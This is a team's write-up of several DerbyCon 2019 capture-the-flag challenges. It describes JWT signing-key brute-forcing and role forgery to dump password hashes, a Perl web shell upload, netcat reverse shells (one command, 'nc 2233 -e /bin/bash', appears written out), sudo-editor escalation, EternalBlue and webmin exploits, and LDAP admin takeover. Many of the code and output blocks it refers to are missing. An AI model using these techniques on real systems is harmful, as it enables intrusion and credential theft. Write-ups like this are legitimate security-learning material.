The main web page on this server included information on how to use the API, and also included a token in the form of a JWT bearer token, typically used to authenticate users.

Using the token shown on the web page, it was possible to brute force the key used to sign the token. The key was found to be DerpyCon. Armed with this information and an online JWT token generator and decrypter, it was possible to look inside the parameters of the token.

The first thing we did was increase the expiry date which was using Epoch time in the field exp. Next, we manipulated the roles parameter and start passing the tokens to the web application and working through the API calls.

The following call was made to the attendee API call:

This returned the following error:

From the error message, we were able to deduce that the role that should be included in the JWT token was Staff with an uppercase ‘S’. When the same request was made with the updated token, a dump of the user information was retrieved from the API.

We continued to play with the API calls. It was found that more data was returned, on a per record basis, when a digit was appended to the end of the URL. It was possible to use this and Burp Suite’s Intruder functionality to return extended details for all users in the application.

The additional information returned per user included a hash value for the ‘attendees’ password:

This resulted in:

It was then possible to disclose the hash for over 1000 users from the API.

The staff API produced similar results, leaking the password hash for multiple staff members; four in total.

GET /api/v1/staff/1 HTTP/1.1

The hashes we extracted from the API were in the following format:


This was a format that we didn’t recognize, so we looked at the hashcat example hashes page. A quick glance suggested that they may be mode 7400 – sha256crypt.

A few failed attempts later and a proper look at the hash confirmed that this was not the case.

Fortunately, the DerbyConCTF team put out the following tweet explaining how the hashes were being created.

This gave us enough information to put together a quick Python script to take the original hashes and output them in a format hashcat preferred.

This will take the original value and turn it into a valid format for mode 1410 in hashcat.





After going through these hashes and getting the vast majority cracked, we submitted a handful to confirm they were valid. It turned out that each cracked hash was not only valid, but was also worth 10 points. With ~1000 cracked hashes, this meant a lot of points. In the DerbyCon CTF, there’s a 60 second cool-down period after submitting a flag (even when it’s valid). Accordingly, we cracked out the automated password submission script we wrote in last year’s CTF and started watching the points build up.

We reviewed the other API functions and found it was possible to attack the serveradmin API call by modifying the roles within the JWT token to be admin, combined with viewing the Server.

The following parameters were used to construct the JWT token:

This token was then passed to the serveradmin API call, which returned the following SSH private key.

This was then used to access the server over SSH as the admin account.

The server was then easily compromised as it provided the admin full sudo access, which we used to take all of the remaining flags on the box.

Reverse Engineering Challenge

We did not complete this challenge until a couple of hours after the CTF ended. However, we thought we’d write it up since there are likely to be other teams who would like to know the solution.

To start with, we opened the provided kc57_final_fu.exe binary in CFF explorer to see what we were dealing with:

It was a 32-bit .NET Assembly, which meant we could essentially decompile it from the Intermediary Language (IL) code back to C#. It was time to break out the awesome dnSpy and take a peek under the hood.

Looking at the Main method in the Program class we see that it’s going to prompt us for a password and then pass that to a get_flag function which returns, unsurprisingly, a flag. So what does this function look like?

Huh, it’s empty. Let’s have at what else is going on in the binary.

When the Program class is first loaded it appears to do some hooking, passing a reference to HookedCompileMethod to a Hook function.

Looking at the Hook function in the JITHook class, we quickly get the gist of what it’s doing.

It’s changing the permissions on the Virtual Function Table (VTable) to EXECUTE_READWRITE. This table is essentially a lookup table that is used at runtime to look up the addresses of functions to use for virtual functions – i.e. those that can or must be overridden.

If this this is successful then the pointer to the function that is passed as an argument is written to the table using Marshal.WriteIntPtr before the access permissions on the memory are restored. The original function pointer at this address has been backed up to the OriginalCompileMethod field.

We don’t have to understand the nuances of what’s going on, but we recognise that some runtime patching is going on. Let’s take a look at the function that is being patched in.

It immediately looks interesting as we see key and IV byte arrays, suggesting something has been or will be encrypted.

The code then attempts to obtain a handle on the hooked method, and if this fails then the original hooked function is called.

If this succeeds, the function name of the hooked function is checked, and if the function is get_flag then we do something else, involving a ciphertext.

The ciphertext gets decrypted using the key and IV and then those bytes are copied as the IL code over that function’s existing code, rewriting what the function is doing. The get_flag function is being patched with the bytes that are stored encrypted in this function.

The original function is then invoked, but in this case that will be the address of the get_flag function with the new bytes.

Let’s stick a breakpoint on the Decrypt function and run the program.

A stack overflow error? Let’s run the program organically and attach to it as opposed to running the program from within the debugger. With runtime patching going on, the debug environment could be interfering with the program execution.

Voila! We then stepped over the decrypt function and examined the contents of the array3 byte array, which contained the decrypted IL code bytes for the get_flag function.

During the CTF this was unfortunately as far as we got, as we struggled to convert the IL bytes back to readable C#, however after receiving a hint once the CTF had finished, we were then able to complete the challenge.

From dnSpy, we can copy the bytes out by selecting all the rows and copying the value. Some replace-fu in Notepad++ strips the 0x prefix and newline characters and provides us with a long string of hex characters.

We can then right click on the get_flag function in dnSpy and choose to view the function’s instructions in the Hex Editor.

From here we can paste in the decrypted bytes, and then save the binary.

When we reopen it in dnSpy, it will decompile the full function this time, and we can see the contents of the get_flag function in the clear!

The function starts by checking if the password length is 26 characters, and if so it checks it byte by byte, adjusting the bytes in the text “thisisnotheflagyouwant…” if the letter is correct.

Working down this function and checking the letters corresponding to the ASCII byte values, we are able to build the correct password string:

Finding the actual value we leave as an exercise for the reader!


On this server, it was noted that port 80 was open. When navigating to the HTTP service, the index page responded with a refresh to instantly redirect to another page. While reviewing the traffic in Burp Suite, the redirection was noticed to contain the flag ‘TheRedirectMasta’ as a comment on the redirection page.

After the redirection, the Derpy Badge Author page was discovered. This page contained four input fields with a submit button.

After typing in information and clicking submit, a bar-code was returned. The bar code contained exactly the information that was input by the user on the form. You can see this by using any simple bar-code scanner on your cellphone.

Numerous attempts were made to fuzz the input and gain some useful responses; however, all attempts appeared to only return the same string as was input.

Rather than hitting our heads against that page the whole time, we started to look at how else we could exploit the system. Since the bar-code page was a cgi-bin, we ran gobuster to see what other pages existed. There we discovered the printenv page existed. This cgi-bin page gave a lot of information, as well as another flag; ‘PerlFTWLarryRules’. Not sure we agree with the PerlFTW sentiment!

This page being accessible reminded us of the ShellShock vulnerability. Attempts were made to exploit this but were also unsuccessful.

After those attempts proved to be unsuccessful, we again started looking for other potential vulnerabilities in the system. Gobuster also showed the htdig page as being accessible, and by navigating to the page, a directory index was shown. This page had a number of files; mostly images, HTML pages, and a few word lists. There was a file called bad_words which could have been a clue, but ultimately didn’t help us to exploit this host.

The application htdig was an old web application which had some flaws discovered and publicly released.

Attempts were made to exploit these flaws; however, errors were thrown from any attempt to use the application.

We were unable to exploit this server further in the time allotted, and would be interested to hear from any team that managed to get further.

Call for Papers

The DerpyCon Call for Papers website consisted of a CGI web-page that allowed visitors to upload content to the website. The website was running on Tiny HTTPd and was vulnerable to local file inclusion. At first we spent a lot of time looking for logs to see where we could control content. However, we struggled to find any logs that included the content injected through any of the parameters on the site.

We then focused on the content being injected through the submit paper feature in the image above. Carrying out a directory brute force showed the website included a directory called papers. When a user navigated to a page within a directory that didn’t exist, the web application would respond with a 404 error. When a user navigated to a web page using the ‘Paper Name’ as the name of the page, the user was return a 200 with blank contents.

Given all of that, we decided to attempt to upload a Perl web shell written for CGI applications. A quick Google came up with:

By uploading the web shell as the paper contents, it was possible to inject a web shell that could be loaded through the papers directory.

It was then possible to gain code execution on the server. Using netcat to send a bash shell to a team members reverse listener, the following URL was navigated to:

The following shows the reverse shell from the papers host.  We then used the Python pty trick to spawn a more reliable shell on the host.  Once we were in we viewed the /etc/passwd file to enumerate users and potential other password hashes on the server:

It was possible to crack the password for the manager account:

Next up was elevating privileges.

The manager user had been provided sudo access to run joe, a not so popular file editing tool.

It was possible to use joe to read the /root/flag.txt file. It was also possible to break out of the Joe editor using ! commands, similar to FTP.

Inside the newly spawned bash shell, a new netcat connection (as root) was established with the following command:

nc 2233 -e /bin/bash


This was an easy challenge. After a quick port scan, we noticed a number of interesting services were available.

A lot of these were related to a mail service. We determined that the mail server in use was Mercury/32 4.51. A quick check using searchsploit revealed two likely vulnerabilities:

Whilst a member of our team was reviewing the exploit code, we decided to have a look at the underlying OS. It was determined to be running Windows XP. Based on that, it’s pretty unlikely to have been patched in a while.  That hunch turned out, of course, to be correct.

There are three modules built in to Metasploit for exploiting MS17-010.

Two of these are aimed at specific operating systems, the first ( exploit/windows/smb/ms17_010_eternalblue) works on 64-bit versions of Windows 7 and Server 2008 and the second ( exploit/windows/smb/ms17_010_eternalblue_win8) works on 64-bit versions of Windows 8.

There is also a third module, with more generic options:

This exploit worked and we were presented with a SYSTEM shell which we used to start looking for flags.

It’s worth noting that this wasn’t necessarily the way the DerbyConCTF team intended for this box to be compromised. A few hours after we’d compromised the server (and as the host appeared to get more and more unstable) they put out the following tweet:

Nevertheless, we exploited the host to find other flags. The main server also had various other flags within the users email account, which could be connected over IMAP or by directly looking inside files in the mercury folder, on the root drive.

LDAP Boxes

For, nmap only revealed ports 22, 389 and 636 to be open.

To discover what was available within the LDAP server, we queried for the naming context:

ldapsearch -h -x namingContexts -s base -p 636 -Z

We then connected to the root DSE and enumerated the subkeys, whilst using Simple Authentication.

A screenshot of a cell phone Description automatically generated

We could then connect a more mainstream LDAP client such as JExplorer, and enumerate the userPassword field, which is configured to use md5{6e57b5ced2dba21e84063ab87281d450). This resolved to spatial.

From there, we could pass those credentials to JXExplorer and connect as the LDAP administrator (admin).

We could then reset Rasputins password to something we controlled, and use those credentials to SSH to .69.

We could see from /etc/passwd on that box there is another user called Strigor.

This allowed us to create a new user on the LDAP server, using credentials that we controlled (in this case, Strigor). It was important that the home directory for this user was changed. To actually create the user, we right clicked Rasputin and copied the branch, before copying it back and then editing the newly created branch.

A screenshot of a cell phone Description automatically generated

A screenshot of a cell phone Description automatically generated

This then allowed us to SSH as strigor to the other box, Strigor was a member of the sudoers group, giving root access, and more flags.


The webmin box was initially misidentified as a WordPress box. A considerable amount of enumeration of the apparent WordPress install was performed, and while this netted us some flags from HTML comments, etc., nothing meaningful came from it.

An nmap scan revealed port UDP/10000 was open, and when we connected to it, the output &lt;ipaddress&gt;:10000:&lt;ipaddress&gt;:10443 was seen. Curious…  we sent an HTTP request to port 10443, which then returned the webmin login page.

An nmap scan with version checking enabled returned more information.

An attempt at guessing credentials resulted very quickly in our offending IP address being blocked for a period of time. It appeared that the default protections against brute force attacks were in place, which resulted in a lockout that got more severe with each attempt.

Deciding that this clearly wasn’t the method to obtain access to the machine, we went on to examine what we did have visibility of. There have been plenty of exploits for webmin over the years. The only problem was determining the version of the webmin panel we were dealing with. It turns out this was given away in the Server Header on the HTTP responses we were getting. Nice and easy.

There was an unauthenticated remote code execution vulnerability as a privileged user (in this case root) if the password change functionality was enabled. A quick check using Metasploit and we were in as root. The first flag was found inside /opt/webmin-1.620/flag.txt.

One of our biggest issues as a team is the “wooooo!” factor. Initial entry is exciting but we will miss a number of flags because we’re too eager to go onto the next challenge. So, as in previous years, as soon as initial entry was gained, we opted to share that access across the team.

With access distributed across the team, the hunt for flags was on. Within a very short time period, several thousand points were earned, with flags being found in typical Linux post-exploitation points of interest.


Back in Derbycon CTF 2018, we first encountered “the MUD”. The truth is, we encountered it way too late in the day to really capitalise on it. Some research revealed it might be possible to achieve RCE if we managed to increase our level sufficiently. We spotted a fellow player called ‘Dan’ turn into a wizard by drinking a potion from a defeated bunny, so naturally we opted to attempt the same. This resulted in a massacre – the great bunny massacre of 2018 – and unfortunately a few of Dan’s got caught in the mix too (we’re sorry Dan). However, we didn’t get much further than that.

Cut to 2019 and after hearing warnings of its return, in a bigger than ever format, we were somewhat more prepared for it. Still not entirely sure about what to expect, we tried our hand at Evil_Mog’s CTF Multi-User Dungeon (MUD).

The MUD existed on two instances: the DerbyCTF network and on a public facing server.

Last year, Evil_Mog’s CTF was only one map, but being the very last DerbyCon, this MUD was massive (over 10 maps) and required tremendous cartography efforts to avoid getting lost. Maps were often scraped and redrawn due to page real estate constraints.

On Friday night, we broke out notepad and pen, and watched the Iron SysAdmin podcast episode 65 featuring EvilMog, where he discussed the MUD in detail. We worked out a few more things about how the MUD works and then realized the external instance was the same as the internal CTF one (well sort of, but we’ll come to that). So, we spent the night figuring out how to do cryptomining, become deathproof and buy needlessly complicated named armour – in the game world, of course.

During Friday night, we found a really good MUD client in the form of “blowtorch”, available for Android phones. It was so good, in fact, that it was easier to use this rather than a laptop on the public MUD, and so for a considerable portion of the game time one of our team members chose to play the entire thing using their Samsung Note 9 and a Bluetooth keyboard.

With auto-mining triggers and bunny massacre aliases set up, they were good to go, with arguably the perfect CTF setup!

You can see the glorious MUD set up above, even going so far as to split-screen our team’s WhatsApp channel at the same time.

Anyway, back to cartography…

We started Saturday with renewed vigour.

From the start, you had to ability to go:

  • Down (city – mines, parks, prison, housing districts, etc.)
  • North (newbie quest)
  • Portal (Dungeon)
  • Sewer
  • Up (Levelling mechanic)

The city was broken into quadrants, each with their own characters and maps and additional maps.

Querying the quests in game, there were seven “active” quests. EvilMog hinted to us that the public CTF and the DerbyCon CTF had the exact same flags. This allowed us to continue working on the MUD from our phones off-site.

The newbie quest required us to press a button near the beginning, netting us our first flag. Simple enough.

Wandering around the dungeon (accessible by portal) yielded us the wizard potion which completed the Wizard quest. Key8 was also available here for the Ticket quest. Efforts to complete the map for the dungeon were quickly abandoned upon finding these.

During our cartography efforts of the new sewers, we managed to stumble upon the Parrot quest at 9j and killed the parrot which yielded us another flag.

With the sewer mostly mapped out and the associated quests completed, we moved onto the more daunting task of trying to map out the rest of the city, the mines, and any other areas out there.

The Pottles quest required us to go in the city sewers (not the sewer with the Parrot like the quest implies) and kill Pottles the gerbil, giving us another flag. At this point, we realized we were animal killers, and felt a little guilty. Onward.

It took us until about 3am on Sunday morning to realize there were more quests listed on EvilMog’s public CTF site than the quests listed in-game. Completing the “explore” challenges which required us to use the command look on specific animals netted us more points. The points listed below are for the public MUD CTF and not for the DerbyCon CTF.

By Sunday morning, we were missing the Sewer Boss, Ticket Quest, and Evil Quest. The Admin quest required the Wizard quest as a prerequisite, but we poured our focus on the first three.

It was a dramatic race to the finish as we beat the Sewer Boss quest with less than 5 minutes (and 5 HP) of the CTF to spare, and another member tried to clear the “Evil” Quest that required us to find a secret room within the area of the mud known as Shay Park.

Thankfully the leaked maps provided by EvilMog showed a room where we had mapped none; a quick “southeast” and we were in the secret room to kill the queen rat.

That should be it right? Find someone, speak to them, go kill the thing they want you to kill that’s contained in a secret part of the dungeon and get some lovely points? Nope.

Unfortunately, the quest truly took a horrible turn at that point and a rabbit hole was followed with time rapidly running out to the end of the CTF competition, as they then had to…

  • Find Norman.
  • Go kill the Cyberslime, a boss that was hiding in the under realm of the prison in a reactor.
  • Find Norman again.
  • Find Norman’s Wallet in the Roxbury (I guess he must have had a heck of a Saturday night).
  • Get a lock pick from the prison to break into a store cupboard in the nuclear plant.
  • Access the terminal.
  • Find old man Tom the miner in a library located in the north housing district.
  • Break in and access the terminal again.
  • Break into Grey’s terminal.

… and that’s when time ran out. The final hint suggested that the team member either find EvilMog or find his agent within the zombie bar. The zombie bar was an easy one; it was located in the  dome and was full of friendly creatures including vampires.

Alas, having already fought the queen rat, the cyber slime, and being low on HP, attempting to find the agent resulted in them being brutally chased down and murdered by an evil clown and a child in a nightclub. Whatever happened to things being “easy like Sunday morning”? This Sunday morning in Louisville was definitely not turning out that way.

There were some unfortunate incidents in the MUD, some which included:

  • Player-killing by an army of bot users.
  • Killing all the NPCs and not having them respawn.
  • Connections closed by a foreign host.
  • Broken links.
  • Exitless rooms.
  • Memory leaks.
  • Redrawing the maps after getting lost.

Even after the end of Derbycon and the CTF, some members of spicyweasel continued to play, determined to conquer every single quest and map out the entirety of the maps. Give it a go yourself by telnetting to 4000.  Thank you to EvilMog for putting this unique element of the CTF on.


Thank you to everyone involved in the creation and running of both DerbyCon and the DerbyCon CTF.  Thank you also to the teams that have kept us on our toes over the years!  This was unfortunately the last DerbyCon conference and we will miss the you all, and the conference, dearly.

If you enjoyed this write up, please consider making a small donation to the Chris Lucas Trust, in order to help the fight against Childhood Rhabdo Cancer: